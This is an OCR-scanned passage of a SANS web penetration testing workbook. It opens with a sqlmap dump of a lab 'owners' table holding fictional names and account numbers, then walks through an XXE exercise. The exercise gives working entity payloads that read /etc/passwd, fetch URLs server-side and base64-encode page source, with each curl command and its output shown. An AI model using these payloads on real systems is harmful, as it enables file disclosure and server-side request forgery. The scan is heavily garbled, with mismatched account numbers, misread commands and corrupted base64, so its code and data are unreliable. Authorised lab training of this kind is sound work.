[14:05:48] [WARNING] running in a single-thread mode. This could take a while
[14:05:56] [INFO] retrieved: owner

[14:06:01] [INFO] retrieved: account

[14:06:28] [INFO] retrieved: source

[14:06:30] [INFO] retrieved: mobile

[14:06:34] [INFO] retrieved: destination

[14:06:34] [INFO] retrieved: source

[14:06:34] [INFO] retrieved: amount

[14:06:34] [INFO] retrieved: account

[14:06:34] [INFO] fetching entries for table 'ow ' in database 'ccmesgl!
[14:06:34] [INFO] fetching number of entries for table ' ' in database ' Lt
[14:06:34] [INFO] retrieved: 4

[14:06:34] [INFO] retrieved: 1029322123394501
[14:06:35] [INFO] retrieved: 180.99
[14:06:36] [INFO] retrieved: 1029322123394505
[14:06:36] [INFO] retrieved: true

[14:06:37] [INFO] retrieved: Brian Fontana
[14:06:37] [INFO] retrieved: 1029322123394511
[14:06:38] [INFO] retrieved: 1029322123394508
[14:06:39] [INFO] retrieved: 100.99
[14:06:39] [INFO] retrieved: 1029322123394505
[14:06:40] [INFO] retrieved:; true

[14:06:48] [INFO] retrieved: Brick Tamland
[14:06:41] [INFO] retrieved: 1029322123394511
[14:06:42] [INFO] retrieved: 1029322123394505
[14:06:43] [INFO] retrieved: 100.99
[14:06:43] [INFO] retrieved: 1029322123394505
[14:06:44] [INFO] retrieved: true

[14:06:44] [INFO] retrieved: Ron Burgundy
[14:06:45] [INFO] retrieved: 1029322123394511
[14:06:46] [INFO] retrieved: 1029322123394511
[14:06:47] [INFO] retrieved: 100.99
[14:06:47] [INFO] retrieved: 1029322123394505
[14:06:48] [INFO] retrieved: true

[14:06:48] [INFO] retrieved: Veronica Corning
[14:06:49] [INFO] retrieved: 1029322123394511
Database: acmesql

Table: owners

[4 entries]

e Foceoooo Focmmmm oo Fommmmna e s S e s e e +
| owner | mobile | source | amount | account | destination |
B e e e it e i W i o e i e i i +
| Brian Fontana | true | 1629322123394511 | 100.99 | 1629322123394501 | 1028322123394505 |
| Brick Tamland | true | 1029322123394511 | 100.99 | 1629322123394508 | 1029322123394505 |
| Ron Burgundy | true | 1020322123394511 | 100.99 | 1029322123394505 | 1029322123394505 |
| Veronica Corning | true | 1829322123394511 | 106.99 | 1629322123394511 | 1029322123394505 |
ST SR e Fmmmmmmmm e Femmmmm - Frmmmmme e e oo Fommmmmmmmm oo +
[14:06:50] [INFO] table ' ners' dumped to CSV file '/home/student 1 tput 5 acme /ne i

[14:06:50] [INFO] fetched data logged to text files under ' /! E t ] . t *

[*] ending @ 14:06:50 /2022-07-05/

-5 i U

1. Stop the container by typing the following command in a terminal and close all terminal windows:

stop-containers.sh

2. Be sure to disable the proxy setting in Firefox so that it does not interfere with future labs.

3. Go to the Firefox proxy selector drop-down and choose [Direct].
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Exercise 4.6 - XXE

Objectives

+ Gain hands-on experience with XXE (XML external entities)
« Leverage XXE flaws to perform the following steps:
« Display the contents of a variable
+ Display a local file
« Surf to a URL that contains text and display the results
« Surf to a URL that contains HTML and use base64 to encode the results

* Run the 'id' command (or any command of your choice)

ab Description

1. Your client has hired you to perform a crystal-box (full-knowledge) test vs. an XML application available via http://www.sec542.org/

quide/ and shown here:

2. The client has chosen the crystal-box (full-knowledge) test because the page uses two PHP scripts, and view source will not work
on those (the code is executed by the server, and not sent to the browser).

3. Here is the XML design that matches the screenshot above:

<?xml version="1.0"2>

<entry>
<subject>Earth</subject>
<category>Planets</category>
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<text>Mostly harmless.</text>
</entry>

4. The application works like this (all files are in http://www.sec542.org/quide/):

POST XML

index.html bOST Data entry.php xml.php

Return data

5. Note that Burp Suite and ZAP will see the interaction between index.html and entry.php (because that data will pass
through the interception proxy), but they will not see the interaction between entry.php and xml.php (that data is sent server-

> server).

Challenges

Notes

1. If you get stuck and want to check your work, answer XML files are contained in /home/student/Desktop/XXE/answers/.

2. That directory also contains curl scripts to run the proper syntax for each step. For example: /home/student/Desktop/

XXE/answers/curll.sh will send guidel.xml, etc.

3. You may flip back through the lecture and base your answers on the previous examples. Note that the XML values have
changed and will need to be adjusted.

4. The directory /home/student/Desktop/XXE contains the XML used in the previous section.

Perform the following exploits vs. the XML application at http://www.sec542.org/quide/:

» Manually use the application at http://www.sec542.org/guide/index.html and determine what the expected application output

looks like.
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Solution

1. First, manually use the application at http:/www.sec542.org/quide/index.html and determine what the expected application output looks like.

2. Open Firefox and go to http://www.sec542.org/quide/).

3. Enter data in the three fields and click "submit".

4. You should see the following output:

*Use curl to send the XML content shown above with no modification to http://www.sec542.org/guide/xml.php, and verify you
are able to send data directly to the XML parser and that the response appears accurate.
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Solution

the response appears accurate.

2. Open a terminal and type the following:

gedit /home/student/guidel.xml

3. Then enter the following XML data:

<?xml version="1.0"?>

<entry>
<subject>Earth</subject>

<category>Planets</category>
<text>Mostly harmless.</text>

</entry>
- guidetaomi () - gedit -+ %
File Edit Vview Search Tools Documents Halp
| iiopen » [¢] save (mh o Undo @~
pof - guidetaml X
k?xml version="1.0"7>
<entry=
<subject=Earth</subject>
<category>Planets</category=>
<text>Mostly harmless.</text>
</entry=
XML+ TabWidth: 8 = Ln 1, Cal1 INS 4

4. Save the file. We will keep ged‘i t open, and edit our existing file for upcoming challenges.

5. Open another terminal and type the following curl command to send the XML file to xml.php:

Terminal

curl -d@/home/student/guidel.xml http://www.sec542.org/guide/xml.php

1. Use curl to send the XML content shown above with no modification to http://www.sec542.org/quide/xml.php, and verify you are able to send data directly to the XML parser and that

-

Terminal Tabs Help

~1s B

File Edit View
[~]% curl -d@/home/student/guidel.xml http://sec542.org/guide/xml.php
Thank you for your Hitchhiker's Guide to the GalaxXXE Submission!!<br><br>Your en

try:<br><br>Subject: Earth<br=Category: Planets<br>Text: Mostly harmless.<br=

ﬂ
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Solution

1. Let's use an XML external entity to display text of your choice via one of the XML fields

2yse gedit toedit /home/student/guidel.xml andchangeitto the following:

<?xml version="1,0"2>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe "gargle blaster" >]>

<entry>
<subject>&xxej</subject>
<category>Planets</category>
<text>Mostly harmless.</text>

</entry>

File Edit View Search Tools Documents Help

ve guide2.xml (<) - gedit = e |

TR R

t| guide2xml x ‘

<?xml version="1.0"7>

<IDOCTYPE foo |

<!ELEMENT foo ANY >

<!ENTITY xxe "gargle blaster" =>]>

<entry>
<subject>&xxe;k/subject>
<category=Planets</category>
<text>Mostly harmless.</text>

</entry>

XML ~ TabWidth: 8 ~ Ln6, Col 19 INS

]

3- We want to save copies of our previous XML files, 5o be sure to use Gear Icon > Save As...-> /home/student/guide2.xml .

Note

You may need to make the gedit window larger to view the Save As... option.
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New Window

Save As... ’

Save All

Find...
Find and Replace...
Clear Highlight

Goto Line...

4 Then type the following cUr L command in a different terminal to send the XML fileto Xm'. php :

curl -d@/home/student/guide2.xml http://www.sec542.org/guide/xml.php

- Terminal

File Edit View Terminal Tabs Help

[-]1% curl -d@/home/student/guide2.xml http://sec542.org/guide/xml.php
Thank you for your Hitchhiker's Guide to the GalaXXE Submission!!<br><br>Your en
try:<br><br>Subject: gargle blaster<br>Category: Planets<br>Text: Mostly harmlesm
s.<br>

~1s 0

+ Use an XML external entity to display a local file such as /etc/passwd .

322 © 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja

Technet24


https://technet24.ir
https://technet24.ir

Solution

T+ Let's use an XML external entity to display a local file suchas /etc/passwd .
2 Use ged'i Tt to edit /home/student/guide2.xml and change this line:

<!ENTITY xxe "gargle blaster" >]>

3. Change it to the following:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

- guiﬁﬂaml Gl g‘ed;’t
File Edit View Search Tools Documents Hﬂb

&Em Q @ s

cof guidedximl x [

<?xml version="1.0"7>
<!{DOCTYPE foo [
<|ELEMENT foo ANY =
<|ENTITY xxe SYSTEM "fTile:///etc/passwd" >]=
<entry=
<subjectsfxxe;</subject>
<category=Planets</category=
<text>Mostly harmless.</text>

</entry=

XML v Tab Width: 8 v Ln 6, Col 14 INS

4 Use Gear Icon -> Save As...-> /home/student/guide3.xml tosave thefile.
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curl -d@/home/student/guide3.xml http://www.sec542.org/guide/xml.php
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File Edit View Terminal Tabs Help

Thank you for your Hitchhiker's Guide to the GalaXXE Submission!!<br=<br>Your entry:<br=<br=Subject
: gargle blaster<br=Lategory: Planets<br>Text: Mostly harmless.<br>

[=)$ curl -d@/home/student/guided.xml http://sec542.org/guide/xml.php

: root:x:8:8:root:/root:/bin/bash
daemon:x:1:1:daemon: fusr/sbin: fusr/sbhin/nologin
|bim:x:2:2:bin:/bin: fusr/sbin/nologin
sys:x:3:3:sys:/dev: /usr/sbin/nologin
sync:x:4:65534:sync:/bin: /bin/sync

games :x:5:60:games: fusr/games: fusr/sbin/nologin
|lan: x:6:12:man: fvar/cache/man: /usr/sbin/nologin

Lp:x:7:7:1p:/var/spool/lpd: fusr/sbin/nologin
mail:x:8:8:mail:/var/mail:fusr/sbin/nologin

news :x%:9:9:news: /var/spool/news : fusr/sbin/nologin
uucp:x:l

8:18:uucp: /var/spool/uucp: fusr/sbin/nolegin
proxy:x:13:13:proxy:/bin: fusr/sbin/nologin
Iww-‘ data:x:33:33:www-data: /var/ww: fus rfshinfnnlﬂgin

backup:x:34:34:backup; /var/backups: fusr/shin/nologin
list:x:38:38:Mailing List Manager:/var/list:/fusr/sbin/nologin
irc:x:39:39:ircd: /var/run/ircd: fusr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/wvar/lib/gnats: usr/sbin/nolegin
nobody : x ;6553465534 :nobody : /nonexistent: fusr/sbin/nologin
systemd-network:x:18@:162:systemd Network Management,,,:/run/systemd/netif:fusr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolwver,,,:/run/systemd/resolve: fusr/sbin/nologin
syslog:x:162:106: : /home/syslog: fusr/sbin/nologin
[messagebus:x:183:167:: /nonexistent: fusr/sbin/nologin
_apt:x:184:65534: : /nonexistent: fusr/sbin/nologin
uuidd:x:1685:118: : /run/uuidd: fusr/sbin/nologin
avahi-autoipd:x:186:111:Avahi auteip daemon,,,:/var/lib/avahi-autoipd:/fusr/sbin/nologin
usbmux :x:107:46:usbmux daemon, ., :/var/lib/usbmux: fusr/sbin/nologin
dnsmasq:x:168:65534 :dnsmasq, , , - /var/lib/misc: fusr/sbin/nologin
rthkit:x:169:114:RealtimeKit, ,, :/proc: /usr/sbin/nologin
lightdm:x:118:115:Light Display Manager:/var/lib/lightdm:/bin/false
cups-pk-helper:x:111:118:user for cups-pk-helper service,,,:/home/cups-pk-helper: fusr/sbin/nologin
speech-dispatcher:x:112:29:5peech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
whoopsie;x:113:119: ; /nonexistent: /bin/false
kernoops:x:114:65534:Kernel Oops Tracking Daemon, ,,:/:/usr/sbin/nologin
saned:x:115:121:: /var/lib/saned: fusr/sbin/nologin
|pulse:x:116:122:Pulsesudio daemon,,,:/var/run/pulse: /usr/sbin/nologin
avahi:x:117:124:Avahi mDNS daemon,,,:/var/run/avahi-daemon: /usr/sbhin/nolegin
colord:x:118:125:colord colour management daemen,,,:/var/lib/colord: fusr/sbin/nologin
|hplip:x:119:7:HPLIP system user,,,:/var/run/hplip:/bin/false
student :x:1000:1000:student, , , : f/home/student : /bin/bash
sshd:x:128:65534: : /run/sshd: fusr/sbin/nologin
bind:x:121:128:: /var/cache/bind: fusr/sbin/nologin
mysql:x:122:129:MySOL Server,,, :/nonexistent:/bin/false
uml-net:x:123:130; : /nonexistent : fusr/sbin/nalogin
marvin:x:1881:1881:, ,, :/home/marvin: /bin/bash
adent:x:1862:18082:Arthur Dent,,,:/home/adent:/bin/bash
zbeeblebrox:x:1883: 1863: Zaphod Beeblebrox, , , : /home/zbeeblebrox: /bin/bash
fprefect:x:1004:1084:Ford Prefect,,,:/home/fprefect: /bin/bash
tmemillam:x:1665: 1865:Tricia McMillan, ,, : /home/tmcmillan: /bin/bash
?b;z-{itegnry: Planets<br>Text: Mostly harmless.<br=

=1%

s Terminal - student@Security542: - - 4+ X

Thank you for your Hitchhiker's Guide to the GalaXXE Submission!!<bra<br>Your entry:<bra=<br>Subject _

+ Use an XML external entity to surf to another URL that contains text, such as http://www.sec542.org/robots.txt.
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Solution

1. We will use an XML external entity to surf to another URL that contains text, such as http://www.sec542.org/robots.txt.

2 yse gedit toedit /home/student/guide3.xml andchange this line:

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
3. Change it to the following:

<IENTITY xxe SYSTEM "http://www.sec542.org/robots.txt" >]>

guideaxmi () - gedit

File Edit View Search Tools Documents Help
JOpen x (4 Save by Undo o g o [T

o] guided xad x
<?xml version="1.8"7=
<1DOCTYPE Too [

<!ELEMENT foo ANY =
<!ENTITY xxe SYSTEM "http://sec542.org/robots.txt” >]>

<entry=
c<subject=duxe;;</subject>

<category>Planets</category>
<text=Mostly harmless.</text>

<fentry=

MML > Tab Width: &8 = Ln5 Coll NS

4 Use Gear Icon -> Save As...-> /home/student/guide4.xml tosave thefile.

5 Then type the following cUur’L command in a different terminal to send the XML fileto xml . php :

curl -d@/home/student/guide4.xml http://www.sec542.org/guide/xml.php

Terminal

File Edit View Terminal Tabs Help

[~]1% curl -d@/home/student/guided.xml http://sec542.org/quide/xml.php

Thank you for your Hitchhiker's Guide to the GalaXXE Submission!!<br><br>Your en
try:<br><br>Subject: User-agent: *
Disallow: /cgi-bin/

Disallow: /admin

Disallow: /sensitive
<br>Category: Planets<br>Text: Mostly harmless.<br>

[~1s N J

6. Note that we used robots.txt because it will not break the XML syntax. HTML will not display (unless encoded) because it will break the XML syntax (nesting HTML inside of XML).

You can test this by changing "http://www.sec542.org/robots.txt" to "http:/www.sec542.0rg" in gu-i de4 . xm'l : you will get no results. We will address this in the next step

+ Use an XML external entity to surf to another URL that contains HTML, such as http://www.sec542.org, and use base64 to encode

the results.
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Solution

T-use gedit toedit /home/student/guided.xml andchange this line:
<!ENTITY xxe SYSTEM "http://sec542.org/robots.txt" >]>

2. Change it to:

<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://sec542.org/"

>1>
Open - m guld:s.xml = M‘ _

<?xml version="1.0"7?>
<IDOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://sec542.org/" >]>
<entry>
<subject>&xxe;</subject>
<category>Planets</category>
<text>Mostly harmless.</text>
</entry>

3- Use Gear Icon -> Save As... -> /home/student/guide5.xml tosave the file.

4 Then type the following €Ur L command in a different terminal to send the XML fileto Xm' . php :
curl -d@/home/student/guide5.xml http://www.sec542.0rg/guide/xml.php

5. Then, highlight the base64 between:
Thank you for your Hitchhiker's Guide to the GalaXXE Submission!!<br><br>Your

entry:<br><br>Subject:
...and:
<br>Category: Planets<br>Text: Mostly harmless.<br>

...and go to Edit -> Copy.
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v Terminal - student@Security542; ~
File Edit View Terminal Tabs Help

[~1$ curl -d@/home/student/guide5.xml http://www.sec542.org/guide/xml.php
Thank you for your Hitchhiker's Guide to the GalaXXE Submission!'!<br><br>Your entry:<br><br>Subject: [JOZ=3eIi)
VBFIEhUTUwgUFVCTE1DICItLY9XMOMvLORURCBIVEIMIDQuUMDEgVHIhbnNpdGlvbmFsLy9FTiIKICJodHRw0i8vd3d3LnczLm9yZy9UUi8x0
Tk5L1JFQylodG1sNDAXLTE50TkxMjIOL2xvb3N1LmMROZCI+CjxIVEIMPgogIDXxIRUFEPgogICAgPFRIVEXFPINBTIMgNTQyICOgV2ViIFBLbi]
BUZXNOaW5nIGFuZCBFdGhpY2FsIEhhY2tpbmc8L1RIVExFPgogICAgPE1FVEEgSFRUUCIFUVVIVj0iQ29udGVudC1UeXB1IiBDTOS5URUSUPS]
0ZXhOL2hObWw7IGNoYXIzZXQ9SVNPLTg4NTktMSI+CiAgPEIJPRFk+CiAgICA8Y2VudGVyPgoJPHRhYmx1IGIvcmR1lcjOxIHdpZHRoPTg1IT4K]
CQk8dHI+PHROIGNVHHNWYWA9M]j5TQUSTIFN1Y3VyaXR5IDUOMiAtIFd1YiBQZW4gVGVzdGluZyBhbmQgRXRoaWNhbCBIYWNraW5nPC90aD48L]
3RyPgoJCTx0cj48dGQgcm93c3BhbjOxPjUOMi4xPC90ZD48dGQ+PGEgaHI1ZjlodHRwczovL2h1YXI0Ymx1ZWQuc2VjNTQyLm9yZy9pbmRleC
50dG1sPkh1YXJ0Ymx1ZWQ8L2E+PC90ZD48L3RyPgo]CTx0cj48dGQgcm93c3Bhbj02PjUOMi4yPC907D48dGQ+PGEgaHI1ZjlodHRwczovL3N|
1YzUOMi5vemevY2dpLlWIpbi9uZXRzdGFOLmNnaT5TaGVsbHNob2NrICOgbmVOc3RhdC5jZ2k8L2E+PC90ZD48L3RyPgoICTx0cj48dGQ+PGEg
@aHJ1ZjlodHRwczovL3N1YzUOMi5vemevYmFzaWMvP1d1YiBBdXRoZW50aWNhdGlvbiAtIEIhc21jPCOhPjwvdGQ+PC90cj4KCQk8dHI+PHRKP)
jxhIGhyZWY9aHROCHM6LY9zZWMINDIub3InL2RpZ2VzdC8+V2ViIEF1dGh1lbnRpY2F0aW9uICOgRGLNZXNOPCOhPjwvdGQ+PC90cj4KCQk8dH|
I+PHRKPjxhIGhyZWY9aHROcHM6LYy9zZWMINDIub3InL2ZvcmOvP1d1lYiBBdXRoZW50aWNhdGlvbiAtIEZvecm1zPCOhPjwvdGQ+PC90cj4KICA
gICAgICAgICAgICAgIDXx0cj48dGQ+PGEgaHI1ZjlodHRwczovL3N1YzUOMi5vemevdXNlecmVudWOvbGInaW4ucGhwP1VzZXIgQWNjb3VudCBI
'YXJ2ZXN0aW5nPC9hPjwvdGQ+PC90cj4KCQk8dHI+PHRKPjxhIGhyZWY9aHROCHM6LY9zZWMINDIub3InL3VzZXI1bnVtL3N1Y3VyZWxvZ2lul]
nBocD5BZHZhbmN1ZCBVc2VybmFtZSBIYXJ2ZXN0aW5nPC9hPjwvdGQ+PC90cj4KCQk8dHI+PHRKIHIvd3NwYW49ND4INDIuMzwvdGQ+PHRKPj
XhIGhyZWY9aHROCHM6LY9zZWMINDIub3InL211dGlsbGlkYWU+TXVOaWxsaWRhZTwvYT48L3RkPjwvdHI+CgkJPHRYPjx0ZD48YSBocmVmPWh
0dHBz018vc2VjNTQyLm9yZy9zcWxpL3NxbGkucGhwP1NRTCBIbmplY3Rpb248L2E+PC90ZD48L3RyPgoJCTx0cj48dGQ+PGEgaHI1Zj 1odHR
czovL3N1YzUOMi5vemeve3FsaS9ic3FsaS5waHA+QmxpbmQgU1FMIE LuamVjdGlvbjwvYT48L3RkPjwvdHI+CgkJPHRYPjx0ZD48YSBocmVmP)
hOdHA6LYy9kdndhLnN1YzUOMi5vcmc+RFZXQTwvYT48L3RKPjwvdHI+CgkJPHRYPjx0ZCByb3dzcGFuPTQ+NTQyL jQ8L3RkPjx0ZD48YSBocm)
\VmPWhOdHBz01i8vd3d3LnN1YzUOMi5vemevZ3VpZGUvaW5kZXguaHRtbD5YWEUSL2E+PC90ZD48L3RyPgogICAgICAgICAgICAgICAgPHRYP] X
0ZD48YSBocmVmPWhOdHBz018vc2VjNTQyLm9yZy9tdXRpbGxpZGF1Lz5NdXRpbGXxpZGF1PCOhPjwvdGQ+PC90cj4KICAgICAgICAgICAgGICAg
IDx0cj48dGQ+PGEgaHI1ZjlodHRwczovL3N1YzUOMi5vemevZG5zLWxvb2t1cC8+RESTIEXVb2t1cDwvYT48L3RkPjwvdHI+CgkIJPHRYPjx07]
D48YSBocmVmPWhOdHA6LY8xMj cuMC4wL j E6MzAWMCI1aS9wYW51bD5CZUVGIENVbnRyb2wgUGFuZWwgKG9ubHkgbh25saW51IHdoaWx 1IEJ1RU|
YgaXMgcnVubmluZyk8L2E+PC90ZD48L3RyPgo]CTx0cj48dGQgcm93c3Bhbj00OPjUOMi41PC90ZD48dGQ+PGEgaHI1ZjlodHRwczovL3N1YzU|
OMi5vemevd2ViY2FsZW5KkYXIvbGOnaW4ucGhwPld1YiBDYWx1bmRhcjwvYT48L3RkPjwvdHI+CgkJPHRYPjx0ZD48YSBocmVmPWhOdHBZz018v|
c2VjNTQyLm9yZy9waHBiYi8+cGhwYmI8L2E+PC90ZD48L3RyPgoJlCTx0cj48dGQ+PGEgaHI1ZjlodHRwczovL3d3dy5zZWMINDIub3Inl3dvc
mRwcmVzcy93cClsb2dpbi5waHA+V29yZFByZXNzIEFkbWluPC9hPjwvdGQ+PC90cj4KCQk8dHI+PHRKPj xhIGhyZWY9aHROCHMELY9zZWM1ND|
Tub3JnL2NnaS1liaW4vbmVOc3RhdC5jZ2k+U2h1bGxzaG9jayAtIG51dHNOYXQuY2dpPCOhPjwvdGQ+PC90cj4KPCEtLSBXcm10ZSB5b3VyIGN
VbW1lbnRzIGh1cmUgCQkJPHRYPjx0ZD5FeGVyY212ZSAzPC90ZD48dGQ+PGEgaH]1ZjlodHRwczovL 3d3dy5z2ZWMINDIub3InL2V4ZXJjaXNl
My50dG1sPINTTCBFbmNyeXB0aW9uPCOhPjwvdGQ+PC90cj4KCQkIPHRYPjXx0ZD5FeGVyY212zZSA1PC90ZD48dGQ+PGEgaHI1Zj 1lodHRwczovL]
3d3dy5zZWMINDIub3InL215aG9tZXBhZ2UvbX1ob211cGFnZS50dG1lsPldpcmVzaGFyazwvYT48L3RkPjwvdHI+Ci0tPgogICAgPCI0YWIsZ
A e WA N ol A eyt e {0t O o SO AT A <b r>Category: Planets<br>Text: Mostly harmless.<br>

[~1s

6- Then type the following in a terminal: @Cho . Then go to Edit -> Paste. Then type | base64 -d.

- Terminal - student@Security542: ~ =
File Edit View Terminal Tabs Help

[~1% echo PCFETONUWVBFIEhUTUwgUFVCTELDICItLy9XMOMvLBRURCBIVEIMIDQUMDEgYHIhbnNpdGlvbmFsLy9FTiIKICJodHRw
0i8vd3d3LnczLm9yZy9UUiBx0Tk5L1IFQy1lodGlsNDAXLTESOTkxMjIOL2xvb3N1LmMROZCI+CjxIVEIMPgogIDxIRUFEPgogICAgPF
RIVExFPLNBT1MgNTQyICOgV2ViIFBlbiBUZXNOaW5nIGFuZCBFdGhpY2FsIEhhY2tpbmc8L1RIVExFPgogICAgPELFVEEQSFRUUCLF
UVVIVi0i029udGVudClUeXBLIiBDTOSURUSUPSIOZXhBL2hBbWw7IGNoYX)zZXQ9SVNPLTg4NTktMSI+CiAgPEJPRFKk+CiAgICABY2
VudGVyPgoJPHRhYmx1IGJvcmRlcjOxIHdpZHRoPTglIT4KCOk8dHI+PHRoIGNvbHNWYW49M]S5TQUSTIFNLY3VyaXR5IDUOMiAtIFdL
YiBOZW4gVGVzdGluZyBhbmQgRXRoaWNhbCBIYWNraW5nPC90aD48L3RyPgolCTx0cj48dG0gcm23c3BhbjoyPjUAMi4xPC987ZD48dG
0+PGEgaH]1ZjlodHRwczovL2h1lYXIOYmxLZWQuc2ViNTOyLmIyZy9oZWFydGIsZWVKLmhObWw+SGVhenRibGV1ZDwvYTA48L3RKP jwv
dHI+CgkJPHRyPjx0ZD48YSBocmVmPWhOdHBz0i8vc2ViNTOyLmOy Zy9zbmF rZS8+U25ha2U8L2E+PC90ZD48L3RyPgolCTx0cj48dG
Ogcm93c3Bhbj02PjUOMi4yPCO90ZD48dGQ+PGEgaHI1ZjlodHRweczovL3N1YzUBMi5vemevY2dplWIpbi9uZXRzdGFOLMNNaT5TaGVs
bHNob2NrICOgbmVOc3RhdC5jZ2k8L2E+PC90ZD48L3RyPgolCTxBcj48dG0+PGEgaH]1Z]j lodHRwczovL3N1YzUBMi5SvemevYmFzaW
MvPLldlYiBBdXRoZW50aWNhdGlvbiAtIEJhc21jPC9hPjwvdGO+PC908c]j4KCOkBAHI+PHRKP] xhIGhyZWY9aHROBcHMELY9zZWMINDIu
b3InL2RpZ2VzdC8+V2ViIEF1dGh1lbnRpY2F0aW9uICOgRGLNZXNBPCOhPjwvdGQ+PC30c]4KCQkBdHI+PHRKPjxhIGhyZWY9aHRecH
MELy9zZWMINDIub3InL2ZvemOvPldlYiBBdXRoZW50aWNhdGlvbiAtIEZvem1zPCOhPjwvdGO+PC90cj4KICAQICAQICAQICAQICAg
IDx0cj48dGQ+PGEgaH]1Zj lodHRwczovL3NLY zUOMiSvemecvdXNLlecmVudWOvbGOnaWducGhwP1VzZXIgOQWNjb3VudCBIYXI2ZXN0aW
5nPCO9hPjwvdGO+PC90cj4KCQkB8dHI+PHRKPjxhIGhyZWY9aHROBcHMBLY9zZWMINDIub3InL3VzZXI1bnVtL3N1Y3VyZWxvZ21uLnBo
cD5BZHZhbmN1ZCBVc2VybmFtZSBIYX12ZXN0aW5nPCO9hPjwvdGO+PC90cj4KCOkBdHI+PHRKIHIvd3NwYW49ND4INDIuMzwyvdGO+PH
RkPjxhIGhyZWY9aHROcHMELy9zZWMINDIub3InL211dG1sbGlKYWU+TXVBaWxsaWRhZTwvYT48L3RkPjwvdHI+CgkJPHRyPjx07D48
YSBocmVmPWhOdHBz01i8vc2ViNTOQyLm9yZy9zcWxpL3NxbGkucGhwP1NRTCBIbmplY3Rpb248L2E+PCO0ZD48L3RyPgolCTx8cj48dG
0+PGEgaHJ1Zj lodHRwczovL3N1YzUOMiSvemeve3FsaS9ic3FsaSswaHA+OmxpbmQgULIFMIELuamVjdGlvbjwvYT48L3RKPjwvdHI+
CgkJPHRyPjx0ZD48YSBocmVmPWhOdHAGLYy9kdndhLnN1YzUBMi5vemc+RFZXQTwvYT48L3RKPjwvdHI+CgkJPHRYPjx0ZCByb3dzcG
FuPTQ+NTQyLjQ8L3RkPjx0ZD48YSBocmVmPWhOdHBz0i8vd3d3LnN1YzUBMiSvemevZ3VpZGUvaWskZXguaHRtbDSYWEUBL2E+PC90
ZD48L3RyPgogICAgICAgICAgICAQICAgPHRYPjx0ZD48YSBocmVmPWhBdHBz018vc2VNTOyLmI9yZy9tdXRpbGxpZGFLLz5NdXRpbG
XxpZGFLPCOhPjwvdGQ+PC90cj4KICAgICAQICAgICAgICAgIDXxOc]j48dGQ+PGEgaHlI1Z] lodHRwczovL3N1YzUBMi5vemevZG5zLWx Y
b2t1cCB+RESTIExvb2t1cDwvYT48L3RkPjwvdHI+CgkIJPHRYPjx0ZD48YSBocmVmPWhOdHAGLY8xM]j cuMC4wLjE6MzAWMCA1aSawYW
51bD5CZUVGIENvbnRyb2wgUGFuZWwgKG9ubHkgb255saW51IHdoaWx1IEJ1RUYgaXMgenVubmluZyk8L2E+PCO90ZD48L3RyPgolCTx6
cj48dGQgcm93c3Bhbj@ePjUBMi41PCO0ZD48dGQ+PGEgaH]1Zj lodHRwezovL3N1YzUOMi5Svemevd2ViY2FsZWS5kYXIvbGOnaWducG
hwPld1lYiBDYWx1bmRhcjwvYT48L3RkPjwvdHI+CgkJPHRyPjx08ZD48YSBocmVmPWhO8dHBz018vc2ViNTQyLmO9yZy9waHBiYi8+cGhw
YmIBLZ2E+PC90ZD48L3RyPgolCTx0cj48dGO+PGEgaHllZjlodHRweczovL3d3dy5zZWMINDIub3InL3dvemRwemVzcy93cClsb2dpbi
SwaHA+V29yZFByZXNzIEFkbWLuPC9hPjwvdGQ+PC90cj4KCOKBdHI+PHRKP] xhIGhyZWY3aHROcHMELy3zZWMINDIub3InL2Nnas1i
aWdvbmVOc3RhdC5jZ2k+U2h1bGxzaG9jayAtIG5LdHNGYXQuY2dpPCOhPjwvdGO+PC90cj4KPCELLSBXcmlB8ZSB5b3VyIGNvbW1lbn
RzIGhlcmUgCOkJPHRyPjx0ZD5FeGVyY212Z5A2PC90ZD48dG0+PGEgaH]1Z]j lodHRweczovL3d3dy5zZWMINDIub3Inl2V4ZX]jaxNl
My50dG1lsPINTTCBFbmNyeXBOaW9uPC9hPjwvdGQ+PC90cj4KCOkIPHRYPjx0ZD5FeGYyY212ZSA1PC902ZD48dG0+PGEgaH)1ZjlodH
Rwczovl3d3dy5zZWMINDIub3InL215a69tZXBhZ2UvbX1ob211cGFnZS50dG1lsPldpemVzaGFyazwvYT48L3RKPjwvdHI+CiftPgog
ICAgPC90YWIsZT4KCQk8L2N1bnR1cj4KICABLOIPRFk+CjwvSFRNTDAK | base64 -df

© 2022 Seth Misenar, Eric Conrad, Timothy McKenzie, Bojan Zdrnja
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7 The source code of http:/sec542.org will display.

File Edit View Terminal Tabs Help

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.0rg/TR/1999/REC-htm1401-19991224/1o0se.dtd">
<HTML=>
<HEAD=>
<TITLE>SANS 542 - Web Pen Testing and Ethical Hacking</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=I50-8859-1">
<BODY>
<center=>
<table border=1 width=85%>
<tr=<th colspan=2>5ANS Security 542 - Web Pen Testing and Ethical Hacking</th></tr>
<tr=<td rowspan=2>542.1</td><td><a href=https://heartbleed.sec542.0rg/heartbleed.html>
Heartbleed</a></td></tr>
<tr=<td=<a href=https://sec542.org/snake/>Snake</a></td></tr>
<tr=<td rowspan=6>542.2</td><td><a href=https://sec542.org/cgi-bin/netstat.cgi>Shellsh
ock - netstat.cgi</a=</td></tr=
<tr=<td>=<a href=https://sec542.org/basic/>Web Authentication - Basic</a></td></tr>
<tr><td><a href=https://sec542.org/digest/>Web Authentication - Digest</a>»</td></tr>
<tr><td><a href=https://sec542.o0rg/form/>Web Authentication - Forms</a></td></tr>
<tr><td><a href=https://sec542.org/userenum/login.php>User Account Harvesting</a></td>
</tr=>
<tr><td><a href=https://sec542.org/userenum/securelogin.php>Advanced Username Harvesti
ng</a></td></tr>

td></tr>
<tr><td><a href=https://sec542.org/sqli/sqli.php>5S0L Injection</a></td></tr>
<tr><td><a href=https://sec542.org/sqli/bsqli.php>Blind SQL Injection</a></td></tr>
